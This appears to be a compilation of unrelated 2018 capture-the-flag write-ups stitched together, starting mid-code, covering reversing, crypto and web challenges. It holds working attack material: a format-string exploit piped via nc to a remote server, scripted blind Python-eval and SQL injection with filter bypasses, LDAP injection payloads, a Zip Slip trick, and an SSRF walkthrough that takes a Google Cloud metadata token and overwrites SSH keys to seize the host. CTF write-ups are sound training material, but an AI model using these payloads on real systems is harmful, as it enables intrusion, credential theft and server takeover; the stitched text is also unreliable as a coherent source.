for i in range(0, len(a), 16): for j in range(4): xorsum = 0 for k in range(4): if k!=j: for l in range(i+k*4, i+k*4+4): xorsum ^= ord(a[l]) for m in range(i+j*4, i+j*4+4): print(chr(ord(a[m])^xorsum), end='')```
```d4rk{70ld_y0u_5ymm37r1c_k3y_is_n07_53cur3!!}c0de``` |
* [Writeup PDF](https://github.com/eLoopWoo/ctf-writeups/blob/master/noxCTF2018/pwn/believeMe/believeMe-Writeup.pdf) * [exploit.py](https://github.com/eLoopWoo/ctf-writeups/blob/master/noxCTF2018/pwn/believeMe/exploit.py) * [believeMe](https://github.com/eLoopWoo/ctf-writeups/blob/master/noxCTF2018/pwn/believeMe/believeMe) |
It was a simple reverse engineering challenge.
We need to provide 3 Keys in order to get the flag.
My first try was to avoid all the "game over" skipping via gdb all the check functions, but the flag provided at the end wasn't correct, so it needs to be looked more carefully with IDA (or any disassembler).
First:Monika, the main character of the story asks the first key.On the right, we can see a loop until the user inserts the string, on the left the call at the function "checkPoem" 
-----
Let's have a look,It's easy to see that there is a string in the variable "aMyHeadIsAHiveF" moved from memory and a strcmp.checking that variable we found "My head is a hive full of words that won't settle", the first key.After the check we see also some character moved into a variable "flg", basically, after every check, some chars are added into the flag.
-----
The second check is made by the function "checkHiddenMeaning"Here we see that this is a wrapper. the check function is: "findHidden", but we can also see a for loop which edit some chars of the flag, and after that 3 more chars are edited.The good news is that the key isn't used at all, so we can just patch the program in order to make writing the flag even if the key is wrong. btw findHidden is like a checksum of the key, no need to waste time on it since it doesn't touch the flag.
-----
Last check key is "posterTitle".A first loop, edit the first 4 chars of the key.
Then we have another loop which calls 4 thread running the "checkTitle" function.
-----
checkTitle was quite hard to follow, a vector of functions was called, but hard to say what those functions do.But there's also a doSomething function, more readable
As we can see here a fixed seed is given to the srandom function, then in the for, rand() is called, the number is manipulated, and at the end, a mov put a char into the flag.We also see a string conteining several characters inside, so probably what happen is ```srandom(seed);for(i=6;i<12;i++){ falg[i]=string[rand()] }```
-----
Maybe this means that even in this case the flag does not depend from the key?(Spoiler, yes.. luckily)Let's go back to the checkTitle and delete all the call to function except for the doSomething, otherwise they cause the program to stop if the key isn't correct.
Good. The last problem was the function "wrapUp" which call the "endlessTalk" if the Access function doesn't return the right value, I just patched the jump to avoid the problem.
And here we are, just apply all the edits and run the program to get the correct flag.
-----
XxcoralloxX |
## Solution
Based on the prompt in the _ZIP ANALYZER_ page and the name __slippery situation__, it is obviously a reference to the recent [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability).
We go to the comment ``
We get the admin panel where we see another comment in the HTML.
``` ```
Since the zip in decompressed in the `/files/` directory, we create a zip adds a file `../admin/key.text`. This text file does not have to contain anything to work. It's probably a bug.
```bash$ zip ../admin/key.txt```
The rest is straightforeward, you go back to the admin panel the flag is practically yours. |
## Tokyo Western CTF 2018 (Qualification Round) Hints for some Crypto challenges- Time: _September 1-2, 2018_- Place: _Online_- Website: _<https://score.ctf.westerns.tokyo/>_
### scs7
(_112 pt, 134 solves_)
Base59 (each symbol in a ciphertext represents a number in the range 0-58).
Challenge file: None (black box)
### Revolutional Secure Angou
(_154 pt, 82 solves_)
`e*q = 1 (mod p)` implies that `e*q = k*p + 1` (1). Since `q < p`, we know that `k < e = 65537`. So, just brute-force `k` until we find a solution to the equation `e*n = k * p^2 + p` (2). Notice that (2) is (1) with both side multiplied by `p`.
Challenge file: [revolutional-secure-angou.7z](revolutional-secure-angou.7z).
### mixed cipher
(_233 pt, 39 solves_)
You need to:- Look for some multiples of the modulus `n`, then calculate the GCD to get `n`.- Learn how to decrypt arbitrary ciphertexts, given an RSA LSB(s) oracle, to get the AES key.- Learn how to untwist the Mersenne Twister (the `random` module's core PRNG) to predict the IV used to encrypt the flag.
Challenge file: [mixed_cipher.rar](mixed_cipher.rar). |
# noxCTF 2018 : believeMe
**category** : pwn
**points** : 378
**solves** : 90
## write-up
The vulnerability is format string
There is a secret function called `noxFlag` that can give us the flag
Since no aslr, find out the return address on remote server, and overwrite return address to `noxFlag`
`noxCTF{%N3ver_%7rust_%4h3_%F0rmat}`
# other write-ups and resources
|
# Python Reversing (40 points/ 221 solves)## Problem statement:> Found this flag checking file and it is quite vulnerable > [Source](https://github.com/GabiTulba/TJCTF2018-Write-ups/blob/master/Python%20Reversing/source.py)
## My opinion:
I still don't understand why this problem was tagged as `Reverse Engineering`, it was a simple cryptography problem with a classic attack, in my opinion it was way easier than Caesar's Complication, the number of solves talk for themselves.
## Understanding the encryption
We were given the following code:```pythonimport numpy as np
flag = 'redacted'
np.random.seed(12345)arr = np.array([ord(c) for c in flag])other = np.random.randint(1,5,(len(flag)))arr = np.multiply(arr,other)
b = [x for x in arr]lmao = [ord(x) for x in ''.join(['ligma_sugma_sugondese_'*5])]c = [b[i]^lmao[i] for i,j in enumerate(b)]print(''.join(bin(x)[2:].zfill(8) for x in c))
# original_output was 1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101```Ok, let's see what's happening step by step: 1. The `flag` is transformed into an array called `arr`. 2. Then another array `other`of the same length as `arr` with random values from 1 to 4 is generated using a constant seed (clearly a bad idea since now the encryption is [deterministic](https://en.wikipedia.org/wiki/Deterministic_encryption)). 3. The array `arr` is multiplied with the array `other` by `arr[i]*=other[i]`. 4. Then the array `b=arr` is xored element by element with the array `lmao`. 5. The encrypted flag is the concatenation of the binary representation of every value in array `c=b`.
One thing that makes this problem a little harder (the encryption isn't easily reversable) is that when the array `arr` is multiplied with the array `other`, in some cases the result is bigger than 256. I saw that when I saw that the length of the output wasn't divisible by 8:
> `>>> `> `x='1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101'` > `>>> len(x)%8` > `2`
But still, since we know every variable (including `other`) we can ecnrypt, so we can guess the flag character by character by encrypting every possible byte and checking if it matches the desired output, this is known as a [Chosen-plaintext attack](https://en.wikipedia.org/wiki/Chosen-plaintext_attack).
## Decrypting the flag:Here's the code: ```pythonimport numpy as np
enc='1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101'flag= ''
def encrypt(flag): np.random.seed(12345) arr = np.array([ord(c) for c in flag]) other = np.random.randint(1,5,len(arr)) arr = np.multiply(arr,other) b = [x for x in arr] lmao = [ord(x) for x in ''.join(['ligma_sugma_sugondese_'*5])] c = [b[i]^lmao[i] for i,j in enumerate(b)] y=(''.join(bin(x)[2:].zfill(8) for x in c)) p=0 while(p<len(y) and enc[p]==y[p]): p+=1 return pL=0while(L<len(enc)): for j in range(256): if(L<=encrypt(flag+chr(j))-8): #at least 8 new bits have to mach the output flag+=chr(j) L=encrypt(flag) print L breakprint flag```<br>
**NOTE** : It just happened for that my solution worked, since there's not necesarily a one to one mapping to plaintext-ciphertext.Flag: **tjctf{pYth0n_1s_tr1v14l}** |
# Blind Date (573 Points)My mom got me a date with someone! she sent me an image but i cannot open it. I don't want it to be a blind date. Can you help me?and a jpeg file (xyz.jpg)Checking the hex of xyz.jpg showed that every 4 bytes were reversedRunning strings on this image gave Base64 encoded string:g4iLuACIuACIgAiLg4iLuACIuACIgAiLg4iLuACIuACIgAiLgAiLN4iLg4iCgACIgAiLg4CIgACIgACIgAiLgACIg4CIgACIgAiLg4CIg4CIK0AIgACIu4CIgACIgACIgACIu4CIgACIgACIgAiLu4CIgACIgACIgAiLKPgLwhich on decoding gave a braille text``` .. . .. .. . .. .. . .. . ... . . . . . . . .. .. . .. . . ```Which translated to F4C3P4LM (will be used to later)The header should have ffd8ffe0 instead of e0ffd8ffUsing blind.py, the bits were reversed which gave the image using Binwalk, a hidden zip file(96DA.zip) was extracted, which was opened with 7z with the password F4C3P4LMand it gave us flag.txtFlag.txt had brainfuck code ```++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+.+++++++++.<---.+++++++++++++++++.--------------.>+++.<+++++++++++++++++.<++++++++++++++++++.>>------.---------.--------.-----.++++++++++++++++++++++++++.<<.>>----.<++++++++.+++.>---------.<<+.>>++.<++.-----.+++++.<+++.>>++++++.<<-.>-----.<+.>.+++.>--------.<<---.>>++.<++.-----.+++++.<+++.>>++++++.<<-.++++++++++++.>>+++++++++.<<<++++++++++++++++++++++.```Decoding the brainfuck code gave us the Flag:noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?} |
# noxCTF 2018 : WTF
**category** : crypto
**points** : 742
**solves** : 28
## write-up
The original text was N = IObA...
I guess it was leet code ( See a lot of leet code in this CTF... )
So actually N = 1064...
Since e is very big, maybe it is wiener attack ( just guessing... )
And it is indeed wiener attack
`noxCTF{RSA_1337_10rd}`
# other write-ups and resources
|
```import structflag = 0x0804867b#remoteeip = 0xffffdd2bfflush=0xffffdd2cdef pad(s): return s+"X"*(512-len(s))exploit =""exploit +=struct.pack("I",fflush)exploit +=struct.pack("I",fflush+2)exploit +="%9$34419x"exploit +="%9$n"exploit +="%10$33161x"exploit +="%10$n"
print pad(exploit)
#noxCTF{%N3ver_%7rust_%4h3_%F0rmat}```
python exploit.py > p
cat p | nc 18.223.228.52 13337 |
https://medium.com/@johnhammond010/codefest-ctf-2018-writeups-f45dafebb8c2Discord: https://discord.gg/fwdTp3JYouTube: https://youtube.com/johnhammond010 |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>writeups</span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>WhiteHat Grand Prix</span></span><span>/</span>pwn01<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>writeups</span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>WhiteHat Grand Prix</span></span><span>/</span>pwn01<span>/</span></div>
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# PyCalcX (web)
Those were almost identical challenges, and in fact the first one had a simpler, unintended, solution and therefore another version was released.
## PyCalcX (64 solved, 100p)
In the first challenge we get access to a webpage which can evaluate some python for us.The flag is loaded into the memory, so we basically have a Python Jailbreak to solve.We get the [source code](calc1.py) of the challenge.
The important things are:
1. We can see only integer or boolean output.2. Parameters are sanitized, and stringified.3. Types of parameters have to match.4. The final payload to eval is `str(repr(value1)) + str(op) + str(repr(value2))` which means for example `'a' + '+' + 'b'`
The vulnerability is here:
```python def get_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == '' or val[0] not in list_ops: print('<center>Invalid op</center>') sys.exit(0) return val```
The `operator` can be 2-bytes long (like `==`), but only the first byte is checked!This means for example that we can use operator `+'` and therefore close the `'` quote.
This means we could evaluate: `'SOMETHING' +''+FLAG and FLAG>source#'` which means `some_string and boolean`, which evaluates to the value of this boolean.
Keep in mind we're using the:
```pythonif 'source' in arguments: source = arguments['source'].value```
And not for example `value1` variable, because `source` has no blacklist limitations.
```pythonimport reimport stringimport urllib
import requests
def main(): flag = "M" while True: prev = 0 for i in range(255): c = chr(i) if c in string.printable: source = urllib.quote_plus(flag + c) op = urllib.quote_plus("+'") arg2 = urllib.quote_plus("+FLAG and FLAG>source#") result = requests.get("http://178.128.96.203/cgi-bin/server.py?source=%s&value1=x&op=%s&value2=%s" % (source, op, arg2)).text if ">>>>" in result: res = re.findall(">>>>.*", result, re.DOTALL)[0] if "False" in res: flag += prev print(flag) break else: prev = c
main()```
We check every character until the flag becomes bigger than our payload, which means that previous character was the right one, and we can start working on next flag position.It takes a while but in the end we get: `MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])`
## PyCalcX2 (54 solved, 100p)
Second level of the challenge is very similar.We also get the [source code](calc2.py)
The difference is very tiny:
```pythonop = get_op(get_value(arguments['op'].value))```
Which means the operator also passes via blacklist, and therefore cannot contain `'` any more.But we can still inject something behind the operator!
We guessed that our first solution was unintended, but the flag suggested that intended solution has something to do with new Python features.We looked at release notes and we found an interesting article: https://www.python.org/dev/peps/pep-0498/
There is a `f` modifier for strings, which allows to do some nice evaluation inside strings.We could for example do `f'{FLAG}'` and it would place the variable value inside the string.However since we can't escape from `'` we can't really create any boolean condition anymore.
It took us a while to figure out the approach, but we finally reched: `'T' +f'ru{FLAG>source or 14:x}'`
- We use the short circuit `or` to get one of the two results, depending on the result of first comparison. Basically `True or 14` returns `True` and `False or 14` returns 14.- We use `x` modifier to turn 14 into hex digit `e`- The string `f'ru{FLAG>source or 14:x}'` therefore evaluates to either `ru1` or `rue`, depending on the `FLAG>source` condition- The result of evaluation will be either `Tru1` or `True`, and in the second case, we will se the result on the page, because it will be treated as boolean.
```pythonimport reimport stringimport urllib
import requests
def main(): flag = "M" while True: prev = 0 for i in range(255): c = chr(i) if c in string.printable: print('testing', c) arg1 = urllib.quote_plus("T") op = urllib.quote_plus("+f") arg2 = urllib.quote_plus("ru{FLAG>source or 14:x}") result = requests.get("http://206.189.223.3/cgi-bin/server.py?source=%s&value1=%s&op=%s&value2=%s" % (flag + c, arg1, op, arg2)).text if ">>>>" in result: res = re.findall(">>>>.*", result, re.DOTALL)[0] if "True" in res: flag += prev print(flag) break else: prev = c
main()```
The rest of the approach is the same as in previous challenge.After a while we get: `MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}` |
# noxCTF-2018-PSRF-as-Pwn
## IntroductionThis article was a CTF (Capture the flag) writeup, and it shows a common mistake that happend when designing a CTF challange.Basically, it shows if a challenge can access the internal network, and the machine is on a Cloud service provider, then you might have the chance to take it over.The following are the technique details.
## StoryWhen I was play [noxCTF 2018](https://ctftime.org/event/671), I saw a challenge named PSRF and it under web category, then I thought that might be SSRF, PostScript, or both. Then I decided to look at that.I trying to solve it by the way I think it should be, but I always got HTTP 500 when I trying to access another server, so I decided to use another way to do it.
There are some terms that usually appear on CTF and Information Security Area- SSRF: [Server-Side Request Forgery](https://en.wikipedia.org/wiki/Server-side_request_forgery)It is become a common vulnerability after [this presentation by Orange](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)- PostScript: [Wikipedia](https://en.wikipedia.org/wiki/PostScript) Ghostscript is its common interpreter, and there are [multiple vulnerabilities](https://www.exploit-db.com/exploits/45243/) disclose recently. It was one of the [challenge](https://ctftime.org/task/6522) of [TokyoWesterns CTF 4th 2018](https://ctftime.org/event/651)
## ReconThe challenge provide an input box and a radio box, and it will send a HTTP GET request to `http://35.241.245.36/api/v1/upload?url=http://your_url&method=get` like this, and it will return an image name, and the result of the SSRF will store under `http://35.241.245.36/images/` The challenge has kubernetes logo on the bottom of the page like the screenshot below, and the IP is 35.241.245.36.  I immediately realized that is a GCP machine, so I tested the backend server by sending HTTP request to my server to see if it is also on GCP, and it is. 
## Cloud Based AttackI think there is not much people know about [http://metadata.google.internal](http://metadata.google.internal). Well, basically, it is a "feature" provided by Google Cloud Platform, you can use it to access information about the project and instances, but it also include the time limited API token of service account under the project. It is enable by the default.
## PoC1. Sending SSRF Payload and get the result ```curl -s 'http://35.241.245.36/images/'`curl -s "http://35.241.245.36/api/v1/upload?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token&method=get"````
2. And you will get something like this, one access token, and it's type, which is Bearer.```{"access_token":"xxxxxxxxxx","expires_in":3063,"token_type":"Bearer"}```
3. Doing this for other information we need ```http://metadata.google.internal/computeMetadata/v1/project/project-idhttp://metadata.google.internal/computeMetadata/v1/instance/namehttp://metadata.google.internal/computeMetadata/v1/instance/zone```
4. Now, you can use this API on your own computer `https://www.googleapis.com/compute/v1/projects/{}/zones/{}/instances/{}` With header```Metadata-Flavor: GoogleAuthorization: Bearer xxxxxxxx_token_from_first_step_xxxxxxxx```
5. You will get some thing like this.```......................... ], "metadata": { "kind": "compute#metadata", "fingerprint": "2bsm86CRs-0=", "items": [ { "key": "instance-template", "value": "projects/720594190990/global/instanceTemplates/gke-psrf-dev-default-pool-9ae6b68d" }, { "key": "created-by", "value": "projects/720594190990/zones/europe-west1-b/instanceGroupManagers/gke-psrf-dev-default-pool-9ae6b68d-grp" }, { "key": "gci-update-strategy", "value": "update_disabled" }.........................``` We only need the fingerprint
6. Set the ssh keySend a POST request to this link with the header and data`https://www.googleapis.com/compute/v1/projects/{}/zones/{}/instances/{}/setMetadata` ```Metadata-Flavor: GoogleAuthorization: Bearer xxxxxxxx_token_from_first_step_xxxxxxxxContent-Type: application/json``````{ "fingerprint":"2bsm86CRs-0=", "items": [ { "key": "sshKeys", "value": "username:ssh-rsa AAAAB..................4KeQzSMFH userid" } ]}```7. You just replace the original ssh key to yours.P.S. You can also do this on the whole project. The API detail can be found on [Managing SSH keys in Metadata](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys)
## Solving the challenge by not its designI ssh to the server. I know it is using kubernetes, so I run `docker ps` 
Then `docker exec -it xxxxxxxxx /bin/sh` Then `ls`
Easy, just solved the challenge by looking at the source code
## Follow upI report this security issue to the team, and just fix it pretty quick.  
## Applicable environmentNot only GCP has these kind of management interface, you can also found similar thing on AWS. Most of CTF use docker to host challenges, but in most of the challenges that don't limit the network, so it is possible to do a privilege escalation on pwn or web challenges.
## References[Twistlock Protection for Kubernetes Specific Attacks](https://www.twistlock.com/2018/05/30/twistlock-protection-kubernetes-specific-attacks/) |
# dont-look-inside-the-box-writeup[noxCTF:dont look inside the box] Just some file fixing, sql and hash.
after entering the dropbox and downloading there is "hashTable" file
the file wont open so i checked it in hex editor(hxd) and saw this:
sqlite format 3 signature as ascii is "SQLite format 3." and not "sqlite format 3." so i fixed it.
i opend it in DB Browser for SQLite to see what inside it and saw 3 tables: Hashs(XorMe), Plains(XorMe) and Flags(values).
in Hashs and Plains there were only one value in each table and both were "XorMe": * Hashs - 6c7a634e058812fb329863ff42fec497* Plains - JohnE
in Flags table there were 16777216 values in the form of noxCTF{XXXXXXX}:
in a python program I did xor to Hashs value and Plains after convering Plains to md5 and hex and got new hashi run in for loop on every value from Flags table, encrypted it as md5 and compared it with the new xored hash. (the code i in cyber.py)the answer is noxCTF{h4shUL1t3} |
# Full WriteUp
Full Writeup on our website: [http://www.aperikube.fr/docs/tjctf_2018/pythonreversing](http://www.aperikube.fr/docs/tjctf_2018/pythonreversing)
-----
# TL;DR
The script wasn’t really obfuscated. We had the output of the hashed flag and had to recover the input.The clear text was first randomized with the equivalent of the following code:
```flag = [random.randint(1,5) * ord(x) for x in flag]```
Then a xor was applied with the following key: *ligma_sugma_sugondese_*Finally the result was printed in binary, letter could be 8 to 10 digits and were concatenated.
An efficient bruteforce / cryptanalysis gave us the flag. |
# Marcode (573 Points)Marcode (Mr. Code in Hebrew), Ineed your help!I got a movie but I cant see it. It hypnotizes me.please help me!yours,Gveretcode (Mrs. Code in Hebrew)
P.S.change NOXCTF to noxCTF.It contained the video (Marcode.mp4) which had barcodes on each frame Using ffmpeg to extract all the frames ```ffmpeg -i Marcode.mp4 -r 25 -f image2 pictures/images-%04d.png```using recursively python.py decoded all the bar codes ```for i in `seq -w 1 3490 `; do python2.7 python.py pictures/images-$i.png; done```this gave all the google drive links which are further stored in uniquelinks.txt Using the textgen.py, generated the text (text_1.txt) which was a chapter from Harry Potter and deathly hallows part 1
```import requestsfrom bs4 import BeautifulSoup
links = open('unique_links.txt').read().split()
for link in links: r = requests.get(link) soup = BeautifulSoup(r.text, 'html.parser') print (soup.title)```Some of the words were mispelled, taking out the extra characters gave the Flag:noxCTF{AVADAKEDAVRA} |
Patch 2 things :
Points > 4499
In the win(), a1 == -1 => never execute
Break point right after loop that calculate flag
=> run and search flag in memory
ISITDTU{0bf4sc4ted_segfault}
 |
A bank with a one byte overflow where we are only allowed to use fastbins and security cameras are looking at all the bank accounts 24x7.
[https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/HackIT%20CTF%202018/Bank%20Reimplemented/exploit.py](https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/HackIT%20CTF%202018/Bank%20Reimplemented/exploit.py) |
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# ▼▼▼Dictionary of obscure sorrows(Web:902point、11/531=2.1％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```There are a lot of obscure sorrows in our world.Your job is not to find those that are plain in sight;You need to seek further, look deeper.Find the word that can not be written.The most obscure sorrow of them all.
http://54.152.220.222/```
---
## 【Identify the vulnerability】
```GET /word.php?page=*)(ObjectClass=* ⇒Normal response!!GET /word.php?page=*)(ObjectClass=1 ⇒Query returned empty```
↓
**LDAP injection !!**
---
## 【Search for flag】```GET /word.php?page=%4b*)(objectClass=* HTTP/1.1 K*GET /word.php?page=%6b*)(objectClass=* HTTP/1.1 k*GET /word.php?page=%4f*)(objectClass=* HTTP/1.1 O*GET /word.php?page=%6f*)(objectClass=* HTTP/1.1 o*GET /word.php?page=%56*)(objectClass=* HTTP/1.1 V*GET /word.php?page=%76*)(objectClass=* HTTP/1.1 v*GET /word.php?page=%57*)(objectClass=* HTTP/1.1 W*GET /word.php?page=%77*)(objectClass=* HTTP/1.1 w*GET /word.php?page=%41*)(objectClass=* HTTP/1.1 A*GET /word.php?page=%61*)(objectClass=* HTTP/1.1 a*GET /word.php?page=%4c*)(objectClass=* HTTP/1.1 L*GET /word.php?page=%6c*)(objectClass=* HTTP/1.1 l*GET /word.php?page=%53*)(objectClass=* HTTP/1.1 S*GET /word.php?page=%73*)(objectClass=* HTTP/1.1 s*GET /word.php?page=%59*)(objectClass=* HTTP/1.1 Y*GET /word.php?page=%79*)(objectClass=* HTTP/1.1 y*```
↓
Compare with values that exist in html
↓
```/word.php?page=Koinophobia/word.php?page=Klexos/word.php?page=Kuebiko/word.php?page=Onism/word.php?page=Opia/word.php?page=Vellichor/word.php?page=Wytai/word.php?page=Anemoia/word.php?page=Ambedo/word.php?page=Lalalalia/word.php?page=Lachesism/word.php?page=Lutalica/word.php?page=Sonder/word.php?page=Socha/word.php?page=YuYi```
↓
```Discover WORDS!! But it was not a flag.../word.php?page=WORDS```
---## 【Search for other attribute values】
`GET /word.php` or `GET /config.php` ※config.php was discovered by the feeling
↓
`Missing RDN inside ObjectClass(document)`
↓
ObjectClass is `document`
---
## 【Investigate attributes of ObjectClass】
Attribute list of `document` ↓
`http://software.fujitsu.com/jp/manual/manualfiles/M050000/B1WN4901/02/irepac/irep0289.htm#document`
↓
```cn (commonName)descriptionseeAlsol (localityName)o (organizationName)ou (organizationUnitName)documentTitledocumentVersiondocumentAuthordocumentLocationdocumentPublisher```
---
```GET /word.php?page=*)(cn=* ⇒ Query returned emptyGET /word.php?page=*)(description=* ⇒ Normal response★GET /word.php?page=*)(seeAlso=* ⇒ Query returned emptyGET /word.php?page=*)(l=* ⇒ Query returned emptyGET /word.php?page=*)(o=* ⇒ Query returned emptyGET /word.php?page=*)(ou=* ⇒ Query returned emptyGET /word.php?page=*)(documentTitle=* ⇒ Query returned emptyGET /word.php?page=*)(documentVersion=* ⇒ Query returned emptyGET /word.php?page=*)(documentAuthor=* ⇒ Query returned emptyGET /word.php?page=*)(documentAuthor=* ⇒ Query returned emptyGET /word.php?page=*)(documentPublisher=* ⇒ Normal response★```
---
## 【exploit】
The format of flag is known by `noxctf{●●●●●} `
`GET /word.php?page=*)(description=*noxctf*`
↓
```HTTP/1.1 302 FoundDate: Sat, 08 Sep 2018 23:41:20 GMTServer: Apache/2.4.18 (Ubuntu)Location: http://54.152.220.222/Content-Length: 3872Content-Type: text/html; charset=UTF-8
<html><head> <title>Lightweight Dictionary Of Obscure Sorrows</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="/assets/css/main.css"> </head> <body class="subpage">
<header id="header"> <h1>Dictionary of <span>Obscure Sorrows</span></h1> Menu </header>
<div id="main">
<section class="wrapper style1"> <div class="inner"> <header class="align-center"> <h2>ƢƢƢƢ</h2> So many sorrows. </header> <div class="video"> <div class="video-wrapper"> <iframe width="560" height="315" src="https://www.youtube.com/embed/s6zR2T9vn2c" frameborder="0" allowfullscreen=""></iframe> </div> noxCTF{K1NG_0F_LD4P} </div> </div> </section>
So many sorrows.
noxCTF{K1NG_0F_LD4P}
<section class="wrapper "> <div class="inner"> <header class="align-center"> <h2>Even more obsure sorrows</h2> You can click on any of the links below to reach some more interesting words. </header> </div> </section>
You can click on any of the links below to reach some more interesting words.
</div>
<footer id="footer"> <div class="inner"> <div class="flex flex-3"> <div class="col"> <h3>Words</h3> Sonder Vellichor Onism Wytai </div> <div class="col"> <h3>Some more</h3> Kuebiko Lachesism Opia Socha </div> <div class="col"> <h3>More words</h3> Koinophobia Klexos Anemoia Ambedo </div> </div> </div> <div class="copyright"> <span>Twitter</span> <span>Facebook</span> <span>Instagram</span> <span>Snapchat</span> © Untitled. Design: TEMPLATED. Images: Coverr. Video: Coverr. </div> </footer>
<script src="/assets/js/jquery.min.js"></script> <script src="/assets/js/jquery.scrolly.min.js"></script> <script src="/assets/js/skel.min.js"></script> <script src="/assets/js/util.js"></script> <script src="/assets/js/main.js"></script>
<nav id="menu"> Home Sonder </nav></body></html>```
↓
`noxCTF{K1NG_0F_LD4P}` |
# ▼▼▼Reference(Web:100point、310/531=58.4％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```What is your reference again?http://chal.noxale.com:5000```
---
`http://chal.noxale.com:5000`
↓
`Check_from_google` is written in the URL part
↓
Guess that checking the Referer header
## 【exploit】```GET /check_from_google HTTP/1.1Host: chal.noxale.com:5000Referer: http://google.co.jp/```
↓
`bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9`
↓decode by Base64
`noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}` |
# Reference (100 Points)
Challenge:What is your reference again?http://chal.noxale.com:5000
The statement gave the hint that it is related to reference ->(referer). Opening the link:After the first request :It reads where did u come from means the referer, changing it through burp suite to the get request givenThis gave the flag as:
### flag = noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3} |
# ▼▼▼RuAdmin(1000points、2/123=1.6％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
## ▼Stage1: Blind SQL injection
### 【Identify the vulnerability】
POST `/sessions`
↓
`username`=**'or'1'='0'#**&`password`=test ⇒Login failed
`username`=**'or'1'='1'#**&`password`=test ⇒Login success
↓
**Blind SQL injection !!**
and
There was a statement that you should login with `admin`'s authority
and
redirect `/admin`
↓
`/admin` has login function but **no vulnerability.**
---
### 【Attack scenario】
I will get admin's login information by Blind SQL injection at `/session` and login in at `/admin`.
---
### 【Identify the Database】
`username`=**'or''=''--**&`password`=test ⇒500エラー
`username`=**'or''=''--+**&`password`=test ⇒Login success
↓
**MySQL !!**
---
### 【Identify the WAF】
```username=like&password=a ⇒hacking detected( `like`)username=REGEXP&password=s ⇒hacking detected( `regexp`)username=mid&password=s ⇒hacking detected( `mid`)username=STRCMP&password=s ⇒hacking detected( `STRCMP`)username=INSTR&password=s ⇒hacking detected( `INSTR`)username=POSITION&password=s ⇒hacking detected( `POSITION`)username=LOCATE&password=s ⇒hacking detected( `LOCATE`)username=LPAD&password=s ⇒hacking detected( `LPAD`)username=concat&password=s ⇒hacking detected( `concat`)username=substr&password=s ⇒hacking detected( `substr`)username=hex&password=s ⇒hacking detected( `hex`)username=substr&password=s ⇒hacking detected( `substr`)username=right&password=s ⇒hacking detected( `right`)username=left&password=s ⇒hacking detected( `left`)username=ascii&password=s ⇒hacking detected( `ascii`)username=conv&password=s ⇒hacking detected( `conv`)username=and&password=s ⇒hacking detected( `and`)username=information_schema.tables&password=s ⇒hacking detected( `information_schema.tables`)```
↓
WAF
---
```username=or&password=s ⇒username or password is invalid (I can use `or`) username=in&password=s ⇒username or password is invalid (I can use `in`) username=if&password=s ⇒username or password is invalid (I can use `if`)username=length&password=s ⇒username or password is invalid (I can use `length`)username=ord&password=s ⇒username or password is invalid (I can use `ord`) username=%26%26&password=s ⇒username or password is invalid (I can use `&&`: Substitution of `and`) ```
↓
OK
---
### 【Identify the number of data】
`username`='or id=0# ⇒ Login success!!
`username`='or id=1# ⇒ Login success!!
`username`='or id=2# ⇒ Login failed!!
`username`='or id>2# ⇒ Login failed!!
↓
2 data !!
---
### 【Identify column names】
`username`='or+length(username)>1# ⇒Login success( `username`!!)
`username`='or+length(password)>1# ⇒Login success( `password`!!)
---
### 【Identify admin's username】
`username`='or id=1%26%26username='admin'# ⇒Login success(id=1 is `admin`)
---
### 【Identify admin's password】
`username`='or+id=1%26%26length(password)=13# ⇒Login success admin password is 13 letters
`username`='or+id=1%26%26ord(password)=73# ⇒I
`username`='or+id=1%26%26ord(ltrim(replace(password,'I,'')))=95# ⇒_
・・・～(abridgement)～
`username`='or+id=1%26%26ord(ltrim(replace(password,'I_l0v3_Applz','')))=95# ⇒_
↓
admin's password is `I_l0v3_Applz_`
---
### 【Login at /admin】
`username`=admin&`password`=I_l0v3_Applz_ ⇒Login success
---
## ▼Stage2 :Rails Asset Pipeline Directory Traversal Vulnerability (CVE-2018-3760)
### 【function】
There is upload function and display upload folder path
---
I can not solve stage 2...
I'd like to look forward to someone's writeup |
